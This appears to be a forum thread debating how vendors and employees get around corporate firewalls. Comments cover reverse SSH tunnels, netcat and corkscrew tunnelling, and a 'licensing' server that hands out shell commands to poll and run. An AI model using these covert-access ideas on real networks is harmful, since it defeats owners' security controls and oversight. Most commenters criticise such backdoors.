I would wager some companies don't even know that a vendor can SSH into the customer datacenter not just the device despite only allowing outbound HTTPS flows to a cloud provider.

Lots of talk about tunneling and wrapping/disguising ssh but a vendor does not need any of that to control its machine.

For example you could have the on-prem host poll a "licensing" or "software update" server that also happens to reply with ad-hoc commands to execute on demand. Could be straight up shell commands and the result can be sent back. No need for ssh, long lived connections, reverse tunnels or anything.

The only way to mitigate this is to fully trust the vendor, have a strong legal framework to protect against wrongdoings or fully block all internet access to endpoints you don't fully control.

The only useful technical defence against this kind of deception today is deep packet inspection and a policy of blocking everything by default and only permitting through packets you can actively approve. But that becomes very expensive very quickly and there are practical limits on how far you can go. Ultimately if your adversary is willing to engage covertly in the kind of hacks mentioned in the article then they're probably also willing to engage in steganography to get past whatever DPI rules you can afford to run. Then you're back to square one and either you trust their device or you sandbox it.

In reality a more effective defence is probably the one involving contracts with severe penalties for this kind of behaviour and liability for any consequential losses.

I wonder how many vendors would agree to offer this, and how much more would t then cost.

(If you update software from the vendor's resource, all bets are off, because you just run their software which can do anything your security measures would not prevent it from doing. You have to very seriously trust the vendor of your OS, if you may be a high-value target.)

Sales teams who believe a full funnel is in front of them are capable of incredible feats. You need to have the aircover and willingness to scorch the earth.

Their thing can run airgapped they just prefer to be a quasi SaaS because no one knows how to ship working software anymore.

GET /latest-command

that resolved to a shell script to be run periodically.

> start exfiltrating customer data

If it's data that they're supposed to have access to, they're already doing that. If it's data they're not supposed to have access to, the correct fix here is to DMZ the box they're installed on, not to try to (hopelessly) limit their outbound connectivity.

Not that all risk can be eliminated, but this simplifies management while reducing the attack surface area by orders of magnitude.

The good news is companies are increasingly doing it now that technology has finally caught up - now that implementing a private* network with each vendor (or a private extranet across all vendors) is actually viable and sensible.

* Usually a software-only, zero implicit trust overlay network

If you mean overlays that don't require an endpoint agent there are plenty of solutions that will orchestrate cloud native SDN control enforcement capabilities like AWS network ACLs or Azure NSGs rather then trying to handle enforcement on the resource directly with an agent.

In the defense and government security space there are 'hardware' overlay network devices. One common use is extending classified 'airgapped' networks over less secure networks or the internet. 'Inline Network Encryptor' is a generic term; 'Taclane' is one brand; HAIPE is I think an applicable NSA standard.

In the sense of "isn't it now possible on technical level?", yes.

On a legal level? You're breaking into their network. At least in the US, but almost certainly in many other jurisdictions), there's a very non-zero chance you're engaged in illegal activity. https://www.justice.gov/jm/jm-9-48000-computer-fraud

On a PR level? Definitely not. The customer will be furious when they find out, and everyone who knows about it will tell everyone they know what you did, post about it on reddit/twitter/linkedin, not to mention discords and slacks. Even the helpdesk guys are gonna be telling their buddies over beers "you wouldn't believe what our netsec team caught our appliance from DumbassCo doing..."

That doesn't even get into the liabilities involved if the client has to meet security requirements from the government (as a contractor), PCI compliance, HIPPA compliance, SEC rules, etc. Imagine a client who needs compliance as a core part of their business because of your network appliance...

And then there's the liability if the remote access capability turns out to be a security vulnerability that can be exploited by outside parties, is abused by an employee, or hackers break into your company and jump off from there to your clients.

There is nothing difficult about respecting "no, you may not have remote access to our network or this system" with no reason or justification provided. They don't need to justify or explain it to you. It's their network. Change the support contract terms if necessary, but don't do anything the author idiotically suggests.

I see people claiming that "it should be assumed the vendor can access your network" - legally speaking, no, it sure shouldn't. That's like saying "if you buy a laptop with a camera and microphone you should assume the laptop manufacturer can spy on you."

If you work at a company that does this sort of nonsense, now would be an excellent time to deactivate any "hack our way into customer-owned equipment or networks" functionality and urgently schedule a meeting with some lawyers.

It wouldn't matter. People will bitch about it online for a few days and the company will make some lame PR statement about how sorry they are and that they'll take steps to prevent it from happening again but then everyone will move on to the next outrage and the company will continue to thrive.

Look at levono, they've repeatedly shipped computers with malware and backdoors, sometimes because they were being paid to, and people still buy them. How many times have router manufacturers included the most brain dead security flaws like hard coded passwords and backdoors? How many companies have leaked private data to the world? Wells Fargo fraudulently opened accounts. HSBC laundered money for terrorists. Microsoft and Amazon were caught illegally harvesting data on children. Philips and Johnson & Johnson outright murdered people by continuing to sell products they knew were giving people cancer. Nobody went out of business. Even CrowdStrike is still around. The most universally hated companies in the US are also among the most successful.

This said there are a few companies that monitor this kind of stuff in 'popular' open source packages and provide services to their customers to block packages that do things like this. Unfortunately it's pretty expensive.

In any remotely reasonable organization, that should be an instant, permanent blacklisting for the vendor, and termination of the "we will escort you to clean out your desk right now" variety for any internal employee who knew about it or enabled it. Probably with a line dropped to law enforcement.

This is very easily bypassed leveraging cert pinning. Modern firewalling is all predicted on MitM approach, nobody has any secret sauce here. If they can't see inside the encryption they really can't do much. Very few customers have decryption configured correctly, or at all, at scale.

Also an enterprise generally won't block connections that "aren't categorized" (URL blocklist) because it's too much work / headache Beyond that most good and bad actors have domains lying around that won't end up in blocked categories.

NGFW today are NGDS (Next Gen Door Stops), they aren't effective beyond controlling their own users. And at that rate DNS is a much more cost effective control.

Depends where. I work with a lot of large enterprise and they absolutely do block everything. Anything leaving their data centers is proxied and allow listed by the proxy. If we tried to cert pin our application, it would immediately break in their environment and would not be allowed till it passed their policies.

The unfortunate reality is all it takes is one.

I was working at a big place at the time. I had a fairly extensive home lab. I used to practice data migrations on synthetic data at home, provoke failures in my safe home lab env then write scripts to automate the migration while catching all the gotchas I could think of (think disk space filling up mid-migration, that kinda thing).

Anyway, I was using ssh pre commands and netcat (corkscrew makes this way simpler to do, I didn’t learn about corkscrew until afterwards) to punch through from my desk at work to my lab at home so I could copy in my scripts. Big no-no but at the time that was not clear to me at all. I didn’t even consider I might be violating a rule.

They flew a couple of “security officers” to the office I worked at to give me the full shake down… ooops!

A frustrating thing was that the people they flew (at great expense, international flight) were not that technical, one was an ex-cop as I recall. Trying to explain what I was doing and how it worked was pretty tough! Actually the most frustrating thing from my point of view was in my mind I was showing initiative and doing all this free work outside of work and here I was getting threatened with dismissal…

I strongly advise anyone making product decisions to assume that none of these tricks work, and that there are no tricks you can use to build discreet remote management tunnels to devices (including hosts running your software) that have customer internal addresses assigned.

The situation that seems useful to me is bypassing dysfunctional processes rather than circumventing inconvenient policies.

(and if the device in question can auto-apply updates so far as I can see being able to ssh into it rather than ship it an update that Does Something is more a question of how convenient it is to Do The Thing rather than adding any additional Things that it Can Do, though it's entirely possible I'm missing something important there)

But if you find yourself requesting `ssh -R` too often, maybe just ask those datacenter people to setup a proper SSH Bastion for you. There are opensource solutions and enterprise-level ones (Teleport for example: https://github.com/gravitational/teleport), some also allows you to do audit and access control, which maybe important if you work for a enterprise client.

The DIY solution described in the article literally punched a hole in the firewall. The firewall people might not like it.

Notice that I said "forensic"? Yeah, assuming some very unfortunate situation has occurred, police are called and there will be a full incident report on it, a DIY'ed apparatus without detailed logging records will make the deployer of that apparatus look really bad. This is especially true if you're a contractor, since your hirer might not fully trust you.

Also, at very least, you'll probably want to be mentioned as "the proficient and diligent from one of our employee/partner allowed us to collect detailed information on what the attacker has done on our systems" than "the lack of consideration on the use of remote access tool made it impossible for us to know what else the attacker has done". It's good for your resume.

Vendors that try tricks like this to work around the firewall team, as backlogged and inefficient as they are, will lose deals and credibility, 100% guaranteed. And I love ssh -R and stunnel, for what it's worth.

The easier way to get what you want is to get someone technical with political capital (they exist) to buy into what you're selling so that they can tell the firewall team to make exceptions during a trial period.

A customer might have demands which are opposing; that doesn't mean you should hack your customers with backdoors. These backdoors can also be used by others.

Although its neat trick that doesn't mean it's ethical or legal nor desirable.

Think of this what if each application/service you use would create backdoors to your servers/devices.

This is not a coin, it's more like an octahedron.

You have the end user. You have the person at the company managing the application. You have networking team. You have the edge and firewall teams. You have the security team. You have a compliance team. You have the upper management looking at controlling costs.

The only real way to combat this is to do Deep Packet Inspection (DPI) and then to look at all the data that’s being passed within that encrypted connection. The problem with this, is that at this point, the vendor has to trust that the customer is doing their due diligence to protect anything that they find within that associated connection with the same diligence that the vendor would be.

As a vendor specifically in the healthcare space, I can tell you that there is no way in hell that I am going to trust any of our customers to secure our data, more than ourselves. They will never know or understand all of the components and know where the risks lie better than the vendor.

For example, in the infancy of one of the companies that I worked at, I agreed with one of our customers to allow certificate pinning, and we would install their certificate on our servers which would allow them to inspect the traffic. Wouldn’t you know it, there was an issue where they were blocking some of our traffic that needed to go outbound, because of their deep packet inspection triggered some rule that they had enabled. Conveniently while they were pilfering through the data to troubleshoot the issue, they sent a bunch of the payloads that contained various API keys, tokens, etc. which were now just out there in the wild, that under our watch would never see the light of day.

Who knows where else those things are logged or what other places besides the 30 or so recipients that were on that email thread. As soon as we found out that they were not handling it appropriately, we took corrective actions, not only to replace the keys, but also to disallow that going forward. And this for context, is one of the biggest healthcare institutions in the United States.

I can confidently say that I have a strong security mindset and anything that gets built has security at the forefront of every release. You can’t trust people who aren’t liable for your systems, with your data, or even to protect their own data.

Maybe I am jaded, but the lesson I learned is that you shouldn’t trust anybody, and that chances are other people will not treat sensitive information with the same sensitivity that you will.

Snake oil. It's not possible to be sure what's really going on in a connection where somebody else controls both endpoints, full stop. That's what this whole post is about.

> As a vendor specifically in the healthcare space, I can tell you that there is no way in hell that I am going to trust any of our customers to secure our data, more than ourselves.

What are "your" data doing on a device you don't physically control, in a network you don't control at all, all under the supervision of somebody you don't believe should have access to those data? Anything on there is "in the wild" already. It should have no ability to affect anybody but that customer and information that that customer would have access to regardless.

The security mindset should be telling you that your whole system needs to be rearchitected.

Personally, this is why I hate systems that need this sort of connectivity beyond a SAN service processor or similar. I’d rather have the third party just run in on their premise with appropriate contracts than pretend it’s just another server in the datacenter.

Firewall and people behind them are actively hostile to the compagny. Those are relics from decades ago, when people could map the entire internet on their devices.

In 2024, this is nothing but a clown circus. They try to reconciliate an ever-changing world with a never-changing world. So they make exceptions, thousands of exceptions, everything becomes an exception.

And then, they think : hey, we are doing L3/L4, this is the issue ! We fail because we are not L7.

And the circus comes around: corporate TLS mitm. Massive project, custom certificates must be deployed in all and every compagny devices. Thus, exceptions, again more exceptions : what about this device ? We cannot add our certs here. Exception. Ha, this specific stuff cannot be mitmed (maybe they implemented certificate pinning ? good guys). No problem : exceptions !

On top on that, all this cruft is expensive as hell. So, we add more exceptions for stuff that is deemed "secure enough" : google meet / zoom / whatever. Various objects storages (s3 && friends). More exceptions.

At the end, you spent millions, ate thousands of FTE on the project. To build a massive amount of exceptions (which basically allows everything, indeed).

The worst is this: for every exception, you have someone, who wants to work for the compagny, who is blocked from doing this work, who have to wait, argue and beg to finally be allowed to work for the compagny.

(source: experience, I'm a network architect, worked for a couple of multi-billions-$ compagnies)

Outside of corporate firewalls, these fractals reappear at the scale of nation-state firewalls.

What do you think of "zero-trust" and "software-defined perimeter" approaches where every network connection is linked to identity and risk assessment?

No, that's not right.

You've allowed everything since the beginning. All the exceptions are for honest software, nothing malicious need it.

We host a number of services in China, serving the Chinese market, and our corporate firewall blocks our own access to them despite numerous requests to IT to resolve the issue.

We just use SSH to bounce off one of our ec2 instance to work on these.

Using ssh-over-https with ssh -R works wonders everywhere though. You could probably even make the ssh packets look like html so it's opaque to a mitm-proxy too.

The sort of firewalls this post is discussing are close to snake oil imo. Sure they help with automated script kiddie attacks and whatnot, but yes, if you control both ends, it's nearly always possible to connect back.

0: https://megamansec.github.io/Squid-Security-Audit/

The aim is to make things as hard as reasonably possible so you can tell your boss and regulators that you did your part.

Any organization depends on people willing to bend, stretch and bypass the rules where necessary - refusing to do so is considered to be a form of labor action [1].

[1] https://en.wikipedia.org/wiki/Work-to-rule

The product of my employer is remote monitoring and management so the nature of the product is to allow cloud visibility to a network and the reverse connection is actually improving security.

The irony of these locked down environments is that they are put in place by crusty IT people who have good intentions, but also know it helps them keep their jobs. But, because of it, all the on-premise software is moving to the cloud, and those people are going to lose their jobs anyway.

This was a sad realization I found after years of enterprise sales work. I thought on-premise software could give us an advantage because as a small company you can offer a more bespoke experience. But, we always looked bad because everyone fights to protect their fiefdom, and our software was blocked at every turn.

It is crazy that enterprises are moving everything to the cloud and no one is noticing that the barrier to getting access to their private sensitive data is more or less water vapor, so to speak. That's nuts.

Edit: typo

This can of course be avoided by the organization by distributing host keys to the client beforehand as they (maybe) would if the host keys were the actual keys from the host stored in /etc/ssh.

It really makes you think how much your security hinges on that trust store yet it's something most people aren't even aware exists, let alone inspected themselves.

At work I use a VPN to access the internal network, I then have to traverse multiple firewalls and a MitM breaking up my SSH connection in order to connect to a host running a webserver.

I have yet to understand how the MitM would increase security. Extra (well minus) points if the appliance in question auto-updates from the vendor's repository, offering no insight into the inner workings.

... and those boxes, all of them, have a really bad history of security bugs themselves.

The risks you're taking by undermining the cryptography and putting random unnecessary devices in positions of trust are almost always greater than the risks you mitigate. What you're really buying with those devices is the illusion of control and/or the ability to claim you "tried".

But yeah that's definitely a best practice.